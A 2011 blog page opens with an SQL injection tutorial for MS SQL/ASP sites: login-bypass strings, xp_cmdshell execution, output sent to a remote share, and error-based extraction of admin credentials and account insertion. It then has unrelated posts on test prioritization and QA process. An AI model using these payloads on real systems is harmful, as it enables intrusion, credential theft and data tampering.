Wednesday, November 23, 2011

SQL Injections

1 What is SQL Injection?
It is a trick to inject SQL query/command as an input possibly via web pages. Many web pages take parameters from web user, and make SQL query to the database. Take for instance when a user login, web page that user name and password and make SQL query to the database to check if a user has valid name and password. With SQL Injection, it is possible for us to send crafted user name and/or password field that will change the SQL query and thus grant us something else.

2 What do you need?
Any web browser.

3 What you should look for?
Try to look for pages that allow you to submit data, i.e: login page, search page, feedback, etc. Sometimes, HTML pages use POST command to send parameters to another ASP page. Therefore, you may not see the parameters in the URL. However, you can check the source code of the HTML, and look for "FORM" tag in the HTML code. You may find something like this in some HTML codes:


Everything between the
and
have potential parameters that might be useful (exploit wise).


4 What if you can't find any page that takes input?
You should look for pages like ASP, JSP, CGI, or PHP web pages. Try to look especially for URL that takes parameters, like:

http://duck/index.asp?id=10

5 How do you test if it is vulnerable?
Start with a single quote trick. Input something like:

hi' or 1=1--

Into login, or password, or even in the URL. Example:
- Login: hi' or 1=1--
- Pass: hi' or 1=1--
- http://duck/index.asp?id=hi' or 1=1--

If you must do this with a hidden field, just download the source HTML from the site, save it in your hard disk, modify the URL and hidden field accordingly. Example:



If luck is on your side, you will get login without any login name or password.

6 But why ' or 1=1--?
Let us look at another example why ' or 1=1-- is important. Other than bypassing login, it is also possible to view extra information that is not normally available. Take an asp page that will link you to another page with the following URL:

http://duck/index.asp?category=food

In the URL, 'category' is the variable name, and 'food' is the value assigned to the variable. In order to do that, an ASP might contain the following code (OK, this is the actual code that we created for this exercise):

v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)

As we can see, our variable will be wrapped into v_cat and thus the SQL statement should become:

SELECT * FROM product WHERE PCategory='food'

The query should return a resultset containing one or more rows that match the WHERE condition, in this case, 'food'.

Now, assume that we change the URL into something like this:

http://duck/index.asp?category=food' or 1=1--

Now, our variable v_cat equals to "food' or 1=1-- ", if we substitute this in the SQL query, we will have:

SELECT * FROM product WHERE PCategory='food' or 1=1--'

The query now should now select everything from the product table regardless if PCategory is equal to 'food' or not. A double dash "--" tell MS SQL server ignore the rest of the query, which will get rid of the last hanging single quote ('). Sometimes, it may be possible to replace double dash with single hash "#".

However, if it is not an SQL server, or you simply cannot ignore the rest of the query, you also may try

' or 'a'='a

The SQL query will now become:

SELECT * FROM product WHERE PCategory='food' or 'a'='a'

It should return the same result.

Depending on the actual SQL query, you may have to try some of these possibilities:

' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a

7 How do I get remote execution with SQL injection?
Being able to inject SQL command usually mean, we can execute any SQL query at will. Default installation of MS SQL Server is running as SYSTEM, which is equivalent to Administrator access in Windows. We can use stored procedures like master..xp_cmdshell to perform remote execution:

'; exec master..xp_cmdshell 'ping 10.10.1.2'--

Try using double quote (") if single quote (') is not working.

The semi colon will end the current SQL query and thus allow you to start a new SQL command. To verify that the command executed successfully, you can listen to ICMP packet from 10.10.1.2, check if there is any packet from the server:

#tcpdump icmp

If you do not get any ping request from the server, and get error message indicating permission error, it is possible that the administrator has limited Web User access to these stored procedures.

8 How to get output of my SQL query?
It is possible to use sp_makewebtask to write your query into an HTML:

'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"

But the target IP must folder "share" sharing for Everyone.

9 How to get data from the database using ODBC error message
We can use information from error message produced by the MS SQL Server to get almost any data we want. Take the following page for example:

http://duck/index.asp?id=10

We will try to UNION the integer '10' with another string from the database:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

The system table INFORMATION_SCHEMA.TABLES contains information of all tables in the server. The TABLE_NAME field obviously contains the name of each table in the database. It was chosen because we know it always exists. Our query:

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-

This should return the first table name in the database. When we UNION this string value to an integer 10, MS SQL Server will try to convert a string (nvarchar) to an integer. This will produce an error, since we cannot convert nvarchar to int. The server will display the following error:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int.
/index.asp, line 5

The error message is nice enough to tell us the value that cannot be converted into an integer. In this case, we have obtained the first table name in the database, which is "table1".

To get the next table name, we can use the following query:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--

We also can search for data using LIKE keyword:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int.
/index.asp, line 5

The matching patent, '%25login%25' will be seen as %login% in SQL Server. In this case, we will get the first table name that matches the criteria, "admin_login".

10 How to mine all column names of a table?
We can use another useful table INFORMATION_SCHEMA.COLUMNS to map out all columns name of a table:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int.
/index.asp, line 5

Now that we have the first column name, we can use NOT IN () to get the next column name:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int.
/index.asp, line 5

When we continue further, we obtained the rest of the column name, i.e. "password", "details". We know this when we get the following error message:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.
/index.asp, line 5

11 How to retrieve any data we want?
Now that we have identified some important tables, and their column, we can use the same technique to gather any information we want from the database.

Now, let's get the first login_name from the "admin_login" table:

http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int.
/index.asp, line 5

We now know there is an admin user with the login name of "neo". Finally, to get the password of "neo" from the database:

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int.
/index.asp, line 5

We can now login as "neo" with his password "m4trix".

12 How to get numeric string value?
There is limitation with the technique describe above. We cannot get any error message if we are trying to convert text that consists of valid number (character between 0-9 only). Let say we are trying to get password of "trinity" which is "31173":

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--

We will probably get a "Page Not Found" error. The reason being, the password "31173" will be converted into a number, before UNION with an integer (10 in this case). Since it is a valid UNION statement, SQL server will not throw ODBC error message, and thus, we will not be able to retrieve any numeric entry.

To solve this problem, we can append the numeric string with some alphabets to make sure the conversion fail. Let us try this query instead:

http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--

We simply use a plus sign (+) to append the password with any text we want. (ASSCII code for '+' = 0x2b). We will append '(space)morpheus' into the actual password. Therefore, even if we have a numeric string '31173', it will become '31173 morpheus'. By manually calling the convert() function, trying to convert '31173 morpheus' into an integer, SQL Server will throw out ODBC error message:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int.
/index.asp, line 5

Now, you can even login as 'trinity' with the password '31173'.

13 How to update/insert data into the database?
When we successfully gather all column name of a table, it is possible for us to UPDATE or even INSERT a new record in the table. For example, to change password for "neo":

http://duck/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--

To INSERT a new record into the database:

http://duck/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--

We can now login as "neo2" with the password of "newpas5".

14 How to avoid SQL Injection?
Filter out character like single quote, double quote, slash, back slash, semi colon, extended character like NULL, carry return, new line, etc, in all strings from:
- Input from users
- Parameters from URL
- Values from cookie

For numeric value, convert it to an integer before parsing it into SQL statement. Or using ISNUMERIC to make sure it is an integer.

Change "Startup and run SQL Server" using low privilege user in SQL Server Security tab.

Delete stored procedures that you are not using like:

master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

Monday, November 21, 2011

Test Cases Priorities for executions

After building & validating the testing models several test cases are generated. The next biggest task is to decide the priority for executing them by using some systematic procedure.

The process begins with identification of "Static Test Cases" and "Dynamic Test Runs", brief introduction of which is as under.

Test case: It is a collection of several items and corresponding information, which enables a test to be executed or performing a test run.

Test Run: It is a dynamic part of the specific testing activities in the overall sequence of testing on some specific testing object.

Every time we invoke a static test case, we in-turn perform an individual dynamic test run. Hence we can say that, every test case can correspond to several test runs.


Why & how do we prioritize?
Out of a large cluster of test cases in our hand, we need to scientifically decide their priorities of execution based upon some rational, non-arbitrary, criteria. We carry out the prioritization activity with an objective to reduce the overall number of test cases in the total testing feat.

There are couples of risks associated with our prioritization activities for the test cases. We may have the risk that some of the application features may not undergo testing at all.

During prioritization we work out plans addressing following two key concepts:

Concept – 1: Identify the essential features that must be tested in any case.

Concept – 2: Identify the risk or consequences of not testing some of the features.

The decision making in selecting the test cases is largely based upon the assessment of the risk first.

The objective of the test case prioritization exercise is to build confidence among the testers and the project leaders that the tests identified for execution are adequate from different angles.

The list of test cases decided for execution can be subjected to n-number of reviews in case of doubts / risks associated with any of the omitted tests.

Following four schemes are quite common for prioritizing the test cases.

All these methods are independent of each other & are aimed at optimizing the number of test cases. It is difficult to brand either of the methods better than the other. We can use any one method as a standalone scheme or can be used in conjunction with another one. When we get similar results out of different prioritization schemes, level of confidence increases.

Scheme – 1: Categorization of Priority.

Scheme – 2: Risk analysis.

Scheme – 3: Brainstorming to dig out the problematic areas.

Scheme – 4: Combination of different schemes.


Let us discuss the priority categorization scheme in greater detail here.

Easiest of all methods for categorizing our tests is to assign a priority code directly to every test description. This involves assigning a unique number to each & every test description.

A popular three-level priority categorization scheme is described as under

Priority - 1: Allocated to all tests that must be executed in any case.

Priority - 2: Allocated to the tests which can be executed, only when time permits.

Priority - 3: Allocated to the tests, which even if not executed, will not cause big upsets.

After assignment of priority codes, the tester estimates the amount of time required to execute the tests selected in each category. In case the estimated time happens to lie within the allotted schedule, means successful identification of tests & completion of the partitioning exercise. In case of any deviation of time plans, partitioning exercise is carried out further.

There is another extension to the above scheme i.e. new five-level scale using which we can classify the test priorities further.

The Five-Level Priority scheme is as under

Priority-1a: Allocated to the tests, which must pass, otherwise the delivery date will be affected.

Priority-2a: Allocated to the tests, which must be executed before the final delivery.

Priority-3a: Allocated to the tests which can be executed, only when time permits.

Priority-4a: Allocated to the tests, which can wait & can be executed even after the delivery date.

Priority-5a: Allocated to the tests, which have remote probability of execution ever.

Testers plan to divide the tests in various categories. For instance, say tests from priority 2 are further divided among priority levels like 3a, 4a and 5a. Likewise any test can be downgraded or upgraded.


Other considerations used while prioritizing or sequencing the test cases

a) Relative Dependencies: Some test cases are such that they can run only after the others because the one is used to set up the other. This is applicable especially for continuously operating systems involving test run to start from a state created by the previous one.

b) Timings of defect detection: Applies to cases wherein the problems can be detected only when many other problems have been found and already fixed. For example it applies to integration testing involving many components having their own problems at individual components level.

c) Damage or accidents: Applies to cases wherein acute problems or even severe damages can happen during testing unless some critical areas had not been checked before the present test run. For example it applies to embedded software involving safety critical systems, wherein the testers would not prefer to start testing the safety features prior to first testing the other related functions.

d) Difficulty levels: This is one of the most natural & commonly used sequence to execute the test cases involving moving from simple & easy test cases to difficult and complicated ones. This applies to scenarios where complicated problems can be expected. Here the testers prefer to execute comparatively simpler test cases first to narrow down the problematic areas.

5) Combining the test cases: Applies to majority of cases in large-scale software testing exercises involving interleaving and parallel testing to accelerate the testing process.

A comparison chart between Desktop, Client Server and Web Applications

Desktop Application
Single tier application
Application runs in single system
Single user

Client Server Application
2 tier application
Application runs in two or more systems
Limited number of users
Connection exists until logout
Application is menu driven
Known network issues in case of intranet as number of clients and servers are known
Known users

Web Application
3 tier application
Application runs in two or more systems
Unlimited number of users
Disconnected mode (stateless) – management of cookies
Application is URL driven
Many issues exist like hardware compatibility, browser compatibility, version compatibility, security issues, performance issues
Unknown users

Wednesday, November 16, 2011

QA process

A. Startup phase
During the startup phase QA effort are targeted mostly to documentation artifacts of the project. The following efforts take place during the phase:
1. Review and analysis of requirements. QA experts together with development experts analyze the requirements and specification documents in order to eliminate any inconsistencies. Software UI and navigation may be reworked greatly to improve the software usability and make it match common UI standards. New functionality may be offered to extend the required features in order to improve the entire application. Security issues that can be found at the early stage of testing the application may be avoided so project resources can be reduced.
2. Definition of testing goals and criteria. Definition of testing goals, criteria of meeting the goals, risk assessment, possible ways of risk mitigation.
3. Definition of testing approaches.Testing approaches and techniques are defined based on software type, project duration, available resources and testing goals. For example, load testing and security analysis are necessary for distributed applications, while automated regression tests are necessary for long-term projects. Tools required to perform the necessary testing are identified.
4. Resource estimation. QA resource estimation is based on the software specification, required QA documents and chosen testing approaches. Automated regression/load testing scripts reduce resource estimation for long-term projects, but may increase it for short projects.
5. Document templates approval. Format of all QA related documents should be approved by both sides, and modified if there are any objections or suggestions to already existing set of templates.
6. Creation of initial testing documents. First versions of test plans and automation plans are created based on the initial versions of software specification and automated testing requirements.
B. Main phase
During the main phase of QA process testing itself takes place, QA artifacts are being created, testing repositories are created, automated tests are developed and executed, found defects are detected and reported, fixes verified, QA documents are completed and maintained:
1. Creation and maintaining of testing documents. The full required set of QA documents, including low-level documents such as test cases, is created. All QA documents are updated correspondingly when requirements are modified. New test cases are created when defects are identified in order to make sure fixed defects do not appear in the software product during further development.
2. Manual testing according to testing documents. Continuous testing of software based on created QA documents guarantees that all features described in software requirements are present in the product, are operable and work as expected.
3. Manual ad hoc testing.Test cases and test plans cannot be created for all possible situations in applications. This is why ad hoc testing (also known as random testing) is also necessary in order to identify defects that cannot be found while performing testing using test plans and test cases.
4. Usability testing. Manual testing of software product to make sure the application has user friendly interface that meets common UI standards, application navigation is task oriented and allows execution of common tasks in minimal required user actions.
5. Documentation testing. All product support documentation such as help system, product information on WEB sites and system requirements are tested for consistence with actual software and product specifications.
6. Security analysis. Security analysis is performed against distributed applications (for instance WEB applications) in order to make sure the applications meet general security requirements. Application should be protected from unauthorized code execution, application data should be protected from unauthorized access, data should be available to authorized users.
7. Automated testing. Automated test scripts are implemented, maintained and executed against the application in order to identify defects that appear in previously operable features of software due to the latest code changes. Automation of such testing helps to save QA resources and to identify such issues at early stage. Integration of automated tests into application build process is common practice.
8. Performance testing. Automated testing of application performance is maid against distributed applications in production-like environments in order to make sure server-side part of application is capable of serving the required number of simultaneous user activities. Also performance testing allows identifying actual number of users the application can serve simultaneously to adjust software system requirements or production configuration.
9. Load/stress testing. Automated load and stress testing scripts are implemented and executed to make sure the application stays stable after continuous load with expected amount of simultaneous users and after short time stress load with more simultaneous users than expected.
10. Monitoring bugs and fixes.Bugs found by QA team, other teams involved in product development as well as customer bugs are monitored by QA team. Bugs that have insufficient information to reproduce them are reproduced by QA team, exact steps and conditions are populated to bug tracking system. Fixed defects are retested and related documents are updated correspondingly.
11. Reporting progress and statistics. At each stage of QA activities reports with the full list of current activities and progress of each activity are created and provided to customer. Detailed reports with currently open defects are provided on demand. Current product quality assessments are provided on demand as well.
C. Release phase
Release phase represents QA activities when software product is about to be deployed to production environment or a new version of software is about to be published for customers.
1. Assessment of testing coverage. Overview of QA activities that have been done, analysis of testing results, assessment of what percentage of the software product has been tested and what additional testing could be performed to guarantee better software quality.
2. Acceptance testing. The final step of testing performed by QA team and representatives of customer team in order to make sure the software product has the desired quality level and matches customer expectations.
3. Goal meeting validation. Project goals are compared to criteria to make sure the goal is met.
4. Review and approval of release notes. Release notes that usually include “What’s new”, “Known issues” and “Bug fixes” sections are made in collaboration with QA team and reviewed by QA team.
5. Transition of QA artifacts. All artifacts created by QA team during testing of the software product are gathered to a single package and delivered to the customer.